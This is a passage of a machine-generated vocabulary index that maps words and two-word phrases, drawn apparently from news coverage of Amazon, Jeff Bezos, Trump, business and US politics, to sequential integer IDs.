"wapichana pointed": 179207, "assertions": 179208, "merck strain": 179209, "economy help": 179210, "tag line": 179211, "2016 techlash": 179212, "brings la": 179213, "higher individual": 179214, "metro north": 179215, "retailer": 179216, "function a4": 179217, "personal relationships": 179218, "scenario does": 179219, "immunotherapy clinic": 179220, "covenant": 179221, "1500": 179222, "trump sexual": 179223, "turf": 179224, "abolish ice": 179225, "executive yearning": 179226, "kdugan": 179227, "masse": 179228, "watch folklore": 179229, "support american": 179230, "developer rewards": 179231, "selling transactions": 179232, "deal stemmed": 179233, "celebrity billionaire": 179234, "sears couldn": 179235, "enact sweeping": 179236, "level cloud": 179237, "objectionable earlier": 179238, "unsophisticated sellers": 179239, "insider follow": 179240, "ohioans": 179241, "financial history": 179242, "noon": 179243, "bezos lauren": 179244, "grounds": 179245, "key details": 179246, "briefing settings": 179247, "nys legislature": 179248, "allegations severe": 179249, "rivalry begin": 179250, "latest author": 179251, "gmail address": 179252, "instructed employees": 179253, "power considered": 179254, "strategy pays": 179255, "downton abbey": 179256, "amzn choice": 179257, "knows": 179258, "comet ping": 179259, "statistics businesses": 179260, "futures edge": 179261, "university amazon": 179262, "share count": 179263, "advantages union": 179264, "disclose": 179265, "american doesn": 179266, "margin fy15": 179267, "9781541673533": 179268, "treece jtreece406": 179269, "amazon closed": 179270, "preferences": 179271, "editor matt": 179272, "commits": 179273, "legislature number": 179274, "conflict giving": 179275, "zacks": 179276, "talking singing": 179277, "netflix workers": 179278, "anita mcbride": 179279, "good governance": 179280, "kinda broward": 179281, "used outsized": 179282, "return payments": 179283, "titans chip": 179284, "calls fake": 179285, "usps veteran": 179286, "fool": 179287, "item usually": 179288, "understandably freaked": 179289, "birther": 179290, "apolitical transformer": 179291, "aviator": 179292, "expansion rep": 179293, "setting race": 179294, "pacb": 179295, "president xi": 179296, "465 122": 179297, "nuclear experts": 179298, "dot dailydot": 179299, "insider dealing": 179300, "amazon care": 179301, "abu": 179302, "argus": 179303, "sixth": 179304, "fierce feminist": 179305, "ceo longtime": 179306, "mention president": 179307, "mindshare medical": 179308, "u003c cnn": 179309, "statements attributed": 179310, "mancismarvellous": 179311, "potential summit": 179312, "military history": 179313, "denouncing": 179314, "enquirer tried": 179315, "detected": 179316, "drugs irbesartan": 179317, "adult sizes": 179318, "aurora movie": 179319, "apps stephanie": 179320, "beast request": 179321, "dare question": 179322, "envisions empowering": 179323, "saut": 179324, "cocktail crowd": 179325, "america liuna": 179326, "schoolers disabled": 179327, "videos comment": 179328, "distorting": 179329, "akron": 179330, "temporary structure": 179331, "alpha": 179332, "streaming services": 179333, "line versus": 179334, "mark kennedy": 179335, "000 640": 179336, "putin press": 179337, "conditions create": 179338, "stuck unable": 179339, "pizzagate subsection": 179340, "downside potential": 179341, "index hit": 179342, "making alexa": 179343, "lastmodifiedstate": 179344, "article expediting": 179345, "afp donald": 179346, "having dampened": 179347, "plus 169": 179348, "stock markets": 179349, "nav portfolio": 179350, "guilty parties": 179351, "obrador branded": 179352, "6_5 ad": 179353, "remained consistent": 179354, "trump introduce": 179355, "controversial proposal": 179356, "market morning": 179357, "400 americans": 179358, "create tight": 179359, "solidifying": 179360, "online news": 179361, "297 shares": 179362, "carriers began": 179363, "mail review": 179364, "crime parlours": 179365, "josh bates": 179366, "bio quick": 179367, "send board": 179368, "applying": 179369, "s0 f4": 179370, "uk increase": 179371, "stellar boxing": 179372, "goal apple": 179373, "financially feasible": 179374, "state suit": 179375, "800 000": 179376, "ripe target": 179377, "grossman chairperson": 179378, "rethinking restrictions": 179379, "leak sanchez": 179380, "ian": 179381, "apparel jewelry": 179382, "empirical capital": 179383, "positive results": 179384, "replace pivotal": 179385, "annie linskey": 179386, "increasingly blamed": 179387, "celebrate": 179388, "sgn announces": 179389, "reserve": 179390, "i1 _0x": 179391, "equality party": 179392, "sreally": 179393, "judicial nomination": 179394, "estimates cut": 179395, "x2x g8": 179396, "loftier long": 179397, "posted cristina": 179398, "water coolers": 179399, "mln reported": 179400, "2017 ice": 179401, "session prime": 179402, "bellow": 179403, "citizens opposed": 179404, "wage poll": 179405, "ashes patty": 179406, "important needs": 179407, "persists": 179408, "warren harris": 179409, "jennifer garner": 179410, "congress members": 179411, "article noteworthy": 179412, "bestseller spot": 179413, "change catastrophe": 179414, "sinema responded": 179415, "tells different": 179416, "cloud capability": 179417, "t9x a4ee": 179418, "study seriously": 179419, "peter stormare": 179420, "implement artificial": 179421, "deflecting entry": 179422, "kept general": 179423, "usual slew": 179424, "include brick": 179425, "comeback": 179426, "jp 1150x540": 179427, "russia story": 179428, "dermot": 179429, "digital retailer": 179430, "discourage voting": 179431, "mayor ceo": 179432, "time mandated": 179433, "english channel": 179434, "googl amazon": 179435, "plausible": 179436, "tweeted learn": 179437, "authorities zeroing": 179438, "linkedin billionaire": 179439, "kempf": 179440, "stipulation": 179441, "atom": 179442, "response refreshed": 179443, "cook confronts": 179444, "coalition effort": 179445, "order delivery": 179446, "improvements nashville": 179447, "assemblymembers nily": 179448, "act tony": 179449, "billionaire secrets": 179450, "current atmosphere": 179451, "providers politico": 179452, "tweeted foxnews": 179453, "packages meaning": 179454, "packages yr": 179455, "sophie gilbert": 179456, "using securities": 179457, "largest collection": 179458, "data drawn": 179459, "views 2018": 179460, "deadlines": 179461, "reactive logistics": 179462, "charge sales": 179463, "geographyiq": 179464, "claims false": 179465, "convicted environmental": 179466, "virginia tennessee": 179467, "jann": 179468, "right say": 179469, "drawings vulnerabilities": 179470, "boardroom": 179471, "tools built": 179472, "accumulated 593": 179473, "post 2008": 179474, "idiq award": 179475, "sufficient power": 179476, "specific content": 179477, "clippings": 179478, "news town": 179479, "trendier": 179480, "wearing shorts": 179481, "money cohen": 179482, "119 effective": 179483, "using map": 179484, "walmart jacob": 179485, "presidents stretching": 179486, "865": 179487, "response bezos": 179488, "minnesota says": 179489, "glance trump": 179490, "honky": 179491, "future increases": 179492, "hesitation": 179493, "true shopping": 179494, "trump prompting": 179495, "segment versus": 179496, "held office": 179497, "itc issue": 179498, "sleaziness": 179499, "circle tom": 179500, "distorted material": 179501, "border separations": 179502, "feast food": 179503, "scientologist swears": 179504, "capt": 179505, "samsung misses": 179506, "responsive": 179507, "fearstrump": 179508, "caucus oncapitol": 179509, "result everybody": 179510, "wealth transfers": 179511, "stay huddled": 179512, "announcement today": 179513, "een huis": 179514, "customers increased": 179515, "press tokyo": 179516, "ed9ddaa2ae4f4eddae12b6bed99b8375": 179517, "exclusive leader": 179518, "sanjeev": 179519, "del": 179520, "isolation bolsonaro": 179521, "oil positions": 179522, "mirrored work": 179523, "20stories": 179524, "job kimmel": 179525, "york fed": 179526, "platform provider": 179527, "significant market": 179528, "centers union": 179529, "employees sanders": 179530, "called skinny": 179531, "support family": 179532, "main purpose": 179533, "1040 contains": 179534, "major blackout": 179535, "times anonymous": 179536, "harris knew": 179537, "annual event": 179538, "staged publicity": 179539, "political environment": 179540, "emil pitkin": 179541, "hiking suggestions": 179542, "eventually scaling": 179543, "exactly right": 179544, "randy": 179545, "net deficit": 179546, "amazing rubenstein": 179547, "spokeswoman jodi": 179548, "reform postponing": 179549, "contribution embed": 179550, "nydj women": 179551, "founding fathers": 179552, "leads jeff": 179553, "dramatic account": 179554, "late stage": 179555, "trust trump": 179556, "company broadcom": 179557, "decently workers": 179558, "buenas dias": 179559, "commentator pirro": 179560, "rearview mirror": 179561, "birthday buzzfeed": 179562, "detailed plan": 179563, "siu trustee": 179564, "gray area": 179565, "businesses businesses": 179566, "sources close": 179567, "real response": 179568, "big factor": 179569, "obvious reasons": 179570, "yrc": 179571, "shopping network": 179572, "dan stevens": 179573, "options activity": 179574, "democratic mayor": 179575, "helped earnings": 179576, "loyalist base": 179577, "encouraged readers": 179578, "1969": 179579, "global scale": 179580, "ig": 179581, "revenues newsweek": 179582, "significant uncertainty": 179583, "media reported": 179584, "long looked": 179585, "plan override": 179586, "flub remember": 179587, "court justice": 179588, "churn": 179589, "saw profits": 179590, "make fully": 179591, "growth led": 179592, "mayfield heights": 179593, "priority growth": 179594, "deniers": 179595, "manhattan democratic": 179596, "revelations": 179597, "walter mosley": 179598, "value equivalent": 179599, "visit reopened": 179600, "thing republicans": 179601, "interventions": 179602, "physical markets": 179603, "tightly controlled": 179604, "tru holdings": 179605, "wilson website": 179606, "incorporated owns": 179607, "worst stock": 179608, "burn acne": 179609, "seat amazon": 179610, "world chip": 179611, "sec pompeo": 179612, "charges commerce": 179613, "lauren gonzales": 179614, "vitalhub": 179615, "jeff gundlach": 179616, "remains washington": 179617, "project moves": 179618, "catching lawbreaker": 179619, "house task": 179620, "crying charlie": 179621, "romanian pimps": 179622, "harmless revelry": 179623, "expanding workloads": 179624, "fahrenheit": 179625, "opening 000": 179626, "rome budget": 179627, "23am bigbusiness": 179628, "build sought": 179629, "going attributable": 179630, "chaffetz utah": 179631, "powell following": 179632, "region region": 179633, "means lower": 179634, "retirement knowing": 179635, "hiccup": 179636, "advised reporters": 179637, "analogy": 179638, "molly ringwald": 179639, "gb10bdb0x0": 179640, "fair reporter": 179641, "big real": 179642, "abc photo": 179643, "good reliable": 179644, "exclusive trafigura": 179645, "hottest areas": 179646, "badger": 179647, "search warrants": 179648, "riedel": 179649, "bravely serve": 179650, "reported financial": 179651, "fahrenthold": 179652, "rightfully": 179653, "insecure regina": 179654, "interests abramowitz": 179655, "trap liberals": 179656, "stone says": 179657, "major sectors": 179658, "led homeless": 179659, "housing john": 179660, "lying": 179661, "olaoluwa abimbola": 179662, "atlantic frum": 179663, "n3x r4ee": 179664, "adequate bang": 179665, "wattage": 179666, "secured revised": 179667, "ago according": 179668, "845": 179669, "assange london": 179670, "trees saw": 179671, "conservative commenter": 179672, "abortion litmus": 179673, "football team": 179674, "trump bankruptcies": 179675, "donaldjtrumpjr status": 179676, "split stars": 179677, "dangerous trump": 179678, "bezos owns": 179679, "net edwin": 179680, "compressed mueller": 179681, "baltxqyvjbpic": 179682, "yaeger little": 179683, "money spent": 179684, "investigators work": 179685, "practices seen": 179686, "online check": 179687, "home garden": 179688, "sensex": 179689, "standing repercussions": 179690, "changed new": 179691, "32billion": 179692, "impurity": 179693, "busting young": 179694, "construction boom": 179695, "responsiveimage": 179696, "brought presidential": 179697, "amazon barnes": 179698, "subpoena trump": 179699, "princess ida": 179700, "companies enormous": 179701, "dropped unexpectedly": 179702, "takeaways president": 179703, "laying people": 179704, "arrow amazon": 179705, "empowerment": 179706, "original statute": 179707, "solidly pragmatic": 179708, "quantities": 179709, "events creating": 179710, "punish technology": 179711, "unknowingly participated": 179712, "reported yesterday": 179713, "surpasses facebook": 179714, "voice controlled": 179715, "corporate giants": 179716, "inflame": 179717, "authorities regarding": 179718, "david koch": 179719, "keynote speaker": 179720, "google spokesperson": 179721, "resources officer": 179722, "lander spacecraft": 179723, "year globally": 179724, "governments pledged": 179725, "played role": 179726, "strategy saying": 179727, "amy morris": 179728, "hakeem": 179729, "lending according": 179730, "latest saudi": 179731, "reported maybe": 179732, "book trump": 179733, "russian troll": 179734, "reducing cancer": 179735, "order producing": 179736, "delivered paradigm": 179737, "axios representative": 179738, "insurance military": 179739, "vanity perquisites": 179740, "limbo barrier": 179741, "worth republicans": 179742, "finally say": 179743, "cautionary tale": 179744, "myers": 179745, "schwietzer responded": 179746, "accurate picture": 179747, "progressive causes": 179748, "consulting online": 179749, "godless": 179750, "york governor": 179751, "invented wifi": 179752, "432": 179753, "flesh": 179754, "blackmailer hours": 179755, "clear sturdy": 179756, "deepwater horizon": 179757, "humayun": 179758, "luca": 179759, "getting worried": 179760, "madrid ccoomadrid": 179761, "quite doable": 179762, "ryan jr": 179763, "unsubstantiated stories": 179764, "natural health": 179765, "composite rose": 179766, "bassinets diaper": 179767, "story stacey": 179768, "trends driving": 179769, "subsidy arms": 179770, "placeholder date": 179771, "faison kuester": 179772, "republicans collective": 179773, "remember comcast": 179774, "making craft": 179775, "hrs regular": 179776, "officiating games": 179777, "proposal contains": 179778, "beautiful alternative": 179779, "presidency absolute": 179780, "biblical": 179781, "1600 pennsylvania": 179782, "open secret": 179783, "gary fineout": 179784, "google chrome": 179785, "court overturns": 179786, "wice": 179787, "allowed ted": 179788, "suit allen": 179789, "sludge": 179790, "akram": 179791, "holland wants": 179792, "jhendel": 179793, "white lab": 179794, "inventory growth": 179795, "505 million": 179796, "listings easley": 179797, "underperforming companies": 179798, "largest concentration": 179799, "minute news": 179800, "shipping versus": 179801, "enforcement prevent": 179802, "southern pedigree": 179803, "shouldstartvideo true": 179804, "digital pinboard": 179805, "mcconnell reuters": 179806, "details begin": 179807, "fallen bit": 179808, "aluminum sanctions": 179809, "monitors": 179810, "talks progress": 179811, "busy carrying": 179812, "republicans strengthened": 179813, "craftsmen": 179814, "hit trillion": 179815, "sticks waffled": 179816, "exact": 179817, "isn getting": 179818, "matching sanders": 179819, "adjust comment": 179820, "affords": 179821, "amazon scouts": 179822, "gianaris appointment": 179823, "cw aaron": 179824, "birthplace": 179825, "oka": 179826, "trolled donald": 179827, "freakin bakesale": 179828, "force amazon": 179829, "2nd generation": 179830, "throughthis appreciate": 179831, "jet zuckerberg": 179832, "liberal positions": 179833, "possible conflicts": 179834, "amazon 3614": 179835, "average annual": 179836, "longest partial": 179837, "followed report": 179838, "file file": 179839, "new smartphones": 179840, "service versus": 179841, "discounts amazon": 179842, "oncapitol hill": 179843, "exclusive young": 179844, "hr": 179845, "greases": 179846, "graf": 179847, "prosecuters working": 179848, "years congress": 179849, "matt abergel": 179850, "policy data": 179851, "moderate republican": 179852, "actress recently": 179853, "administration credited": 179854, "reasons marsden": 179855, "transplant baltimore": 179856, "weekend reports": 179857, "celebrating lifetime": 179858, "pretty skeptical": 179859, "quadro rtx": 179860, "story appears": 179861, "included questions": 179862, "american astronauts": 179863, "records clinton": 179864, "united nations": 179865, "legendary romance": 179866, "foreign intervention": 179867, "jeff ownership": 179868, "reaching 1837": 179869, "dozens injured": 179870, "embedlinkhandler": 179871, "amazon app": 179872, "states fairly": 179873, "new broad": 179874, "waging war": 179875, "created free": 179876, "platform operators": 179877, "growing government": 179878, "visits trumpidiotno1": 179879, "cutthroat": 179880, "surprising": 179881, "major benefits": 179882, "develop space": 179883, "important trends": 179884, "bezos admits": 179885, "senator cory": 179886, "future generations": 179887, "columnist chris": 179888, "energizer": 179889, "document getelementbyid": 179890, "foreseeable amazon": 179891, "time possibly": 179892, "court descriptionplaintext": 179893, "insisting": 179894, "company plans": 179895, "light maybe": 179896, "york rally": 179897, "fbi director": 179898, "trigger fingers": 179899, "consumers postmaster": 179900, "amazon physical": 179901, "encoding utf": 179902, "class values": 179903, "biological traits": 179904, "event shoots": 179905, "sbe council": 179906, "rebounded kaitlyn": 179907, "group michael": 179908, "food fashion": 179909, "overly conservative": 179910, "corp cbs": 179911, "ebullient": 179912, "campaign iran": 179913, "103 points": 179914, "000 person": 179915, "foxconn wisconsin": 179916, "working": 179917, "annual prize": 179918, "definitely complex": 179919, "usefully": 179920, "videosourcedivid js": 179921, "holiday parades": 179922, "brexit fight": 179923, "details unanswered": 179924, "van dijk": 179925, "barcelona": 179926, "diversification apple": 179927, "house drama": 179928, "survivalist": 179929, "bald steve": 179930, "include major": 179931, "including johnson": 179932, "various diseases": 179933, "vampire": 179934, "southeastern": 179935, "instance performed": 179936, "estimated 500": 179937, "wing latest": 179938, "post uncertainty": 179939, "recent moment": 179940, "vpc virtual": 179941, "retailer wants": 179942, "weather report": 179943, "warner owns": 179944, "ordered ninth": 179945, "life hacks": 179946, "recorder amazon": 179947, "editors usa": 179948, "abrogate": 179949, "marker mark": 179950, "mich": 179951, "immediately knew": 179952, "seeking retribution": 179953, "ordered task": 179954, "spokesperson did": 179955, "service undercharging": 179956, "pain": 179957, "jiang": 179958, "tostring k4a": 179959, "small seller": 179960, "purchase pity": 179961, "making major": 179962, "charge referring": 179963, "heather swift": 179964, "tackle today": 179965, "team bench": 179966, "bears enforcement": 179967, "westchester": 179968, "dietl netflix": 179969, "gross margins": 179970, "schorr": 179971, "8pm": 179972, "reviewing wheth": 179973, "compromised cards": 179974, "george mason": 179975, "area jail": 179976, "soon erupt": 179977, "bestseller michael": 179978, "ensure fair": 179979, "post bio": 179980, "unapproved": 179981, "blasts nafta": 179982, "city did": 179983, "personally michael": 179984, "emoluments lawsuits": 179985, "places trump": 179986, "organizations applying": 179987, "verge trump": 179988, "story budgets": 179989, "case south": 179990, "storage unit": 179991, "lobbying dollars": 179992, "costs roughly": 179993, "office low": 179994, "juncker walked": 179995, "data critics": 179996, "paternity refused": 179997, "patterson": 179998, "walling": 179999, "branded delivery": 180000, "good ability": 180001, "flu deaths": 180002, "eeoc": 180003, "expect president": 180004, "early warning": 180005, "teeth democratic": 180006, "bank group": 180007, "181008114838": 180008, "highlighted examples": 180009, "singing turquoise": 180010, "president claiming": 180011, "lee krasinski": 180012, "month caption": 180013, "democrats despite": 180014, "practices cohn": 180015, "toying": 180016, "accounting customers": 180017, "irrelevant": 180018, "harasser": 180019, "computing services": 180020, "print book": 180021, "neurosurgeon": 180022, "disenfranchised working": 180023, "general patrick": 180024, "trump latest": 180025, "sens jon": 180026, "canada otcmkts": 180027, "style hair": 180028, "amazon usually": 180029, "national voice": 180030, "democrat sends": 180031, "economist dies": 180032, "popular independent": 180033, "probe mueller": 180034, "000 apartments": 180035, "workers coalition": 180036, "filing homrich": 180037, "sam gardner": 180038, "purposes taking": 180039, "finsum duncan": 180040, "supermarket checkout": 180041, "targets ranging": 180042, "approached outgoing": 180043, "additionalsections": 180044, "divorcing following": 180045, "social networkers": 180046, "list ______": 180047, "actress mia": 180048, "means betting": 180049, "victims killed": 180050, "including bonuses": 180051, "efficient manner": 180052, "paradise charring": 180053, "procurement internet": 180054, "tweeted warning": 180055, "seemingly randomly": 180056, "lobbying jewish": 180057, "advantage heart": 180058, "davis ryan": 180059, "powering government": 180060, "tech trump": 180061, "demoncrats": 180062, "jdcom": 180063, "philosophic inadequacies": 180064, "welcome ceremony": 180065, "years patent": 180066, "ships mohan": 180067, "probably performing": 180068, "prime pieces": 180069, "identity extremist": 180070, "jeong writes": 180071, "lower rates": 180072, "bury matthew": 180073, "2018 place": 180074, "major threat": 180075, "appreciably faster": 180076, "occasions president": 180077, "alternative formats": 180078, "news helped": 180079, "previously denied": 180080, "amazon right": 180081, "worth everybody": 180082, "selected city": 180083, "199 zach": 180084, "clear leader": 180085, "states building": 180086, "screenshot": 180087, "136 4bn": 180088, "technology employers": 180089, "told mnuchin": 180090, "jr authortwitter": 180091, "trump politically": 180092, "tr1": 180093, "ahead higher": 180094, "including nintendo": 180095, "excelled": 180096, "herman cain": 180097, "enquirer alleged": 180098, "america disgraces": 180099, "79million shares": 180100, "engine performs": 180101, "company hopes": 180102, "alongside lynda": 180103, "impartiality trump": 180104, "considering listing": 180105, "born new": 180106, "41am": 180107, "electric moving": 180108, "latest feather": 180109, "reined": 180110, "standards worse": 180111, "temporarily joining": 180112, "markets monster": 180113, "espionage photo": 180114, "hears": 180115, "old shimron": 180116, "commensurately": 180117, "fuse fight": 180118, "residents union": 180119, "rare revenue": 180120, "icon amazon": 180121, "500 according": 180122, "expected second": 180123, "massive crony": 180124, "abortion laws": 180125, "firm doubleclick": 180126, "climbed immediately": 180127, "slashing forecasts": 180128, "cdp": 180129, "specifications features": 180130, "cvs reported": 180131, "nevada milk": 180132, "dramatic session": 180133, "watch bloomberg": 180134, "management analytics": 180135, "date police": 180136, "mattered": 180137, "major milestones": 180138, "m2x": 180139, "histories huffpost": 180140, "restrain trade": 180141, "sweet story": 180142, "plan projected": 180143, "owns called": 180144, "broad deregulationist": 180145, "broumand": 180146, "newspaper recently": 180147, "emma mcintyre": 180148, "says weinstein": 180149, "industry apparently": 180150, "unerring eternal": 180151, "guru wants": 180152, "articles dubbed": 180153, "untold damage": 180154, "sticker stuck": 180155, "delivery launch": 180156, "public tax": 180157, "prevent harassment": 180158, "cheered solid": 180159, "private forestry": 180160, "cac": 180161, "1990 bush": 180162, "gsi": 180163, "start worrying": 180164, "carolyn maloney": 180165, "despite trade": 180166, "managing partner": 180167, "understanding geography": 180168, "gov rod": 180169, "reported today": 180170, "daletas": 180171, "national academy": 180172, "common ground": 180173, "fallen world": 180174, "time chukumba": 180175, "washington continued": 180176, "ray tracing": 180177, "housing saying": 180178, "motivated amazon": 180179, "conservative opinions": 180180, "wonderstruck premieres": 180181, "green getting": 180182, "nextday service": 180183, "customers kodali": 180184, "media agenda": 180185, "geographic based": 180186, "amazon later": 180187, "property appear": 180188, "vanguard fidelity": 180189, "company offers": 180190, "blasio employment": 180191, "constantinides told": 180192, "really taking": 180193, "independent contractors": 180194, "bezos khosrowshahi": 180195, "farrow backed": 180196, "early access": 180197, "citrin run": 180198, "big paris": 180199, "leprechauns shamrocks": 180200, "mccarthykevin owen": 180201, "mickler": 180202, "taste innovative": 180203, "actively enforce": 180204, "ergo": 180205, "later court": 180206, "concept everybody": 180207, "imaginary daughter": 180208, "pike place": 180209, "features": 180210, "ebay wasn": 180211, "amzn chipotle": 180212, "bluster fest": 180213, "ernst blofeld": 180214, "final days": 180215, "provide uniforms": 180216, "orson": 180217, "site 203": 180218, "year 2012": 180219, "g7a": 180220, "mcsally": 180221, "plateaued": 180222, "discovers skull": 180223, "intercompany contracts": 180224, "maker kraft": 180225, "rate setting": 180226, "buy advertisements": 180227, "pushing prison": 180228, "grounded music": 180229, "stylish cinematography": 180230, "begin processing": 180231, "report claimed": 180232, "nbc exec": 180233, "year shipped": 180234, "customer preference": 180235, "broad city": 180236, "tasking": 180237, "stone replied": 180238, "bid": 180239, "total begins": 180240, "story notes": 180241, "stafford owens": 180242, "final estimate": 180243, "trump congratulations": 180244, "sky 2018": 180245, "successful grassroots": 180246, "members pomp": 180247, "court did": 180248, "identify best": 180249, "m570": 180250, "killer foundup": 180251, "soccer players": 180252, "competitive advantage": 180253, "don believe": 180254, "commercial adviser": 180255, "ago swat": 180256, "unexpected costs": 180257, "recommended administrative": 180258, "painful blow": 180259, "mention transportation": 180260, "china replacing": 180261, "matt weiner": 180262, "international rescue": 180263, "deployed small": 180264, "alternatively": 180265, "sears tower": 180266, "literally blow": 180267, "korea claimed": 180268, "field fence": 180269, "bathrooms": 180270, "overtime driven": 180271, "international schumer": 180272, "owner told": 180273, "160": 180274, "occasions suggested": 180275, "additionally runs": 180276, "dash sensors": 180277, "king tide": 180278, "krystalh yahoofinance": 180279, "450 million": 180280, "r4ee w6": 180281, "stick 4k": 180282, "contain complaints": 180283, "players local": 180284, "facebook 2018": 180285, "grasps": 180286, "tedhesson": 180287, "day passed": 180288, "gentle decline": 180289, "322mm": 180290, "opened access": 180291, "company reportedly": 180292, "anti american": 180293, "facility col": 180294, "blu": 180295, "security cameras": 180296, "fundamental performance": 180297, "based planning": 180298, "bezos appear": 180299, "vstop klj": 180300, "kb home": 180301, "strong global": 180302, "machines microvms": 180303, "646": 180304, "giant mckinsey": 180305, "based firm": 180306, "secret police": 180307, "5yr": 180308, "ladies man": 180309, "spy thrillers": 180310, "brazilian lawmaker": 180311, "1b visa": 180312, "sessions adjust": 180313, "challenge best": 180314, "package late": 180315, "weapons trump": 180316, "frank nappi": 180317, "konner": 180318, "torrid": 180319, "independence leaning": 180320, "amberin": 180321, "cult animated": 180322, "term ruggedized": 180323, "seattle timescolumnist": 180324, "electing military": 180325, "wsj trump": 180326, "shares plunged": 180327, "memes questioning": 180328, "europe facebook": 180329, "credit expansion": 180330, "nand": 180331, "lincoln": 180332, "government purchases": 180333, "disqus": 180334, "school friend": 180335, "2017 annual": 180336, "healthy child": 180337, "motley paid": 180338, "proposed snap": 180339, "sawant called": 180340, "kathie": 180341, "black rock": 180342, "deadly shootings": 180343, "says clarifies": 180344, "million amazon": 180345, "hiring volunteers": 180346, "stelter reports": 180347, "sanchez gay": 180348, "foot bezos": 180349, "sells range": 180350, "delivery centres": 180351, "trump related": 180352, "touch screen": 180353, "times native": 180354, "nursing baby": 180355, "personal lawyer": 180356, "business sellers": 180357, "ceo bezos": 180358, "purple state": 180359, "kyweise": 180360, "violated federal": 180361, "carousel data": 180362, "businesses contracted": 180363, "transportation area": 180364, "baltimore area": 180365, "laggard": 180366, "centerfold apparently": 180367, "communist revolution": 180368, "mika": 180369, "digital markets": 180370, "large proportion": 180371, "fiduciary responsibilities": 180372, "hulu itunes": 180373, "modern day": 180374, "push cashless": 180375, "dumbfounded anger": 180376, "message jeff": 180377, "services ii": 180378, "james took": 180379, "data large": 180380, "mchugh stated": 180381, "toe curlingly": 180382, "christened": 180383, "boe plans": 180384, "notable settlements": 180385, "plurality means": 180386, "troubles administration": 180387, "powered microwave": 180388, "nitrobouncer status": 180389, "suggested": 180390, "absolutely solid": 180391, "planned visit": 180392, "antitrust lawsuit": 180393, "violence warning": 180394, "warren stayed": 180395, "accentuating": 180396, "shows executives": 180397, "california sacramento": 180398, "gang": 180399, "chamber met": 180400, "international labour": 180401, "fluffing names": 180402, "schlage": 180403, "title lamborghini": 180404, "cnbc millionaire": 180405, "troublesome": 180406, "kaya grapes": 180407, "select wcs": 180408, "year rose": 180409, "billionaire ownership": 180410, "numbers tonight": 180411, "university ranveer": 180412, "model 150": 180413, "new hope": 180414, "steinhauer matt": 180415, "giant dependence": 180416, "disability retirement": 180417, "file prices": 180418, "streaming era": 180419, "toiletries": 180420, "expressing": 180421, "cloud powered": 180422, "twitter jon_allsop": 180423, "months source": 180424, "racism profiling": 180425, "wasnot supposed": 180426, "taxpayers small": 180427, "obstructs": 180428, "told experiences": 180429, "war wage": 180430, "fin incorporated": 180431, "hewson": 180432, "seat": 180433, "sietsema": 180434, "flavors eisen": 180435, "kevin johnson": 180436, "post play": 180437, "cheek hashtag": 180438, "tried": 180439, "tall fraser": 180440, "unique position": 180441, "dark blue": 180442, "competitors instagram": 180443, "wordpress": 180444, "goods companies": 180445, "nov public": 180446, "goldman sachs": 180447, "null inc_autid": 180448, "miguel estrada": 180449, "targets leads": 180450, "code lawmakers": 180451, "favorable rankings": 180452, "pouring billions": 180453, "sanctions": 180454, "000 open": 180455, "malcolm turnbull": 180456, "1814et copyright": 180457, "shocks panel": 180458, "communities vote": 180459, "heavyweight": 180460, "manages": 180461, "bomb explosive": 180462, "translators": 180463, "wildfires fbi": 180464, "quiet trump": 180465, "based alcoa": 180466, "soon developed": 180467, "underpinning": 180468, "talked bit": 180469, "bolsonaro suggested": 180470, "citibank": 180471, "air grievances": 180472, "gaiman acclaimed": 180473, "trump shirts": 180474, "congressional research": 180475, "fistula": 180476, "bg strategic": 180477, "eu commission": 180478, "foreign investment": 180479, "genie": 180480, "uncharacteristic": 180481, "destiny lestenkof": 180482, "wolff amazon": 180483, "mean killing": 180484, "chilean general": 180485, "parscale wrote": 180486, "tv platform": 180487, "martin rebellion": 180488, "behavior gives": 180489, "global politicians": 180490, "amazon don": 180491, "company eero": 180492, "grace vanderwaal": 180493, "diary": 180494, "inc_show_read_moreflag true": 180495, "term care": 180496, "strategic thinker": 180497, "union organizer": 180498, "fully crack": 180499, "guilty pleasures": 180500, "details including": 180501, "additional moons": 180502, "shortstop": 180503, "lines wind": 180504, "lisa mccubin": 180505, "femmes fatales": 180506, "thriller ballantine": 180507, "briefcase": 180508, "rm217 billion": 180509, "biggest audience": 180510, "emphatically denied": 180511, "northwest coalition": 180512, "schiff signified": 180513, "local amazon": 180514, "idled large": 180515, "renault": 180516, "clarify": 180517, "good careers": 180518, "local post": 180519, "network logan": 180520, "visiting cuba": 180521, "partly inspired": 180522, "tm investigations": 180523, "trump invited": 180524, "euro dollar": 180525, "contributor": 180526, "york harvey": 180527, "kind series": 180528, "immigrants played": 180529, "offers package": 180530, "hq": 180531, "pair join": 180532, "institute reform": 180533, "false online": 180534, "best friend": 180535, "extortion bezos": 180536, "8739": 180537, "dodge state": 180538, "essayist": 180539, "ise": 180540, "favorite morning": 180541, "ran casino": 180542, "decreases": 180543, "bezos quite": 180544, "postmaster": 180545, "oracle block": 180546, "big numbers": 180547, "president treasonpuddles": 180548, "witnesses page": 180549, "judicial views": 180550, "street today": 180551, "publicly lists": 180552, "bbc bodyguard": 180553, "rougier": 180554, "definitively thanks": 180555, "checks totaling": 180556, "2018 cable": 180557, "house block": 180558, "revoke brennan": 180559, "patents jones": 180560, "significant harm": 180561, "wage bitter": 180562, "2013 terms": 180563, "bourdain singular": 180564, "itunes singles": 180565, "suggested raising": 180566, "maloney states": 180567, "nbc cmcsa": 180568, "jbl": 180569, "policy prohibiting": 180570, "shorten delivery": 180571, "group facetime": 180572, "industries rightly": 180573, "stocks book": 180574, "handmade soba": 180575, "government": 180576, "christina": 180577, "rotting corpse": 180578, "request tim": 180579, "falkowitz airbnb": 180580, "post navigation": 180581, "office policies": 180582, "treated equitably": 180583, "shutdown showdown": 180584, "montana raised": 180585, "seals cave": 180586, "corbett": 180587, "seller online": 180588, "fellow travellers": 180589, "exist rarely": 180590, "awards advertisement": 180591, "ford kavanaugh": 180592, "gb10bdb0x0 jeff": 180593, "competition enforcer": 180594, "sent 325": 180595, "families media": 180596, "pines": 180597, "protesters organized": 180598, "spiegel billion": 180599, "press ny": 180600, "colloquially": 180601, "requirement implemented": 180602, "opened new": 180603, "possible attempt": 180604, "critical christmas": 180605, "market finished": 180606, "carped repeatedly": 180607, "benefits employees": 180608, "onewest foreclosure": 180609, "waterproof computer": 180610, "lifespan tr1200": 180611, "migrate": 180612, "joe": 180613, "giant received": 180614, "zino apple": 180615, "sellout": 180616, "postmates": 180617, "devising replacements": 180618, "fallon": 180619, "deal tweeting": 180620, "session new": 180621, "omelchenko waiter": 180622, "anti muslim": 180623, "alzheimer disease": 180624, "spell doom": 180625, "anticipates adding": 180626, "restaurant operators": 180627, "vomit inducing": 180628, "california 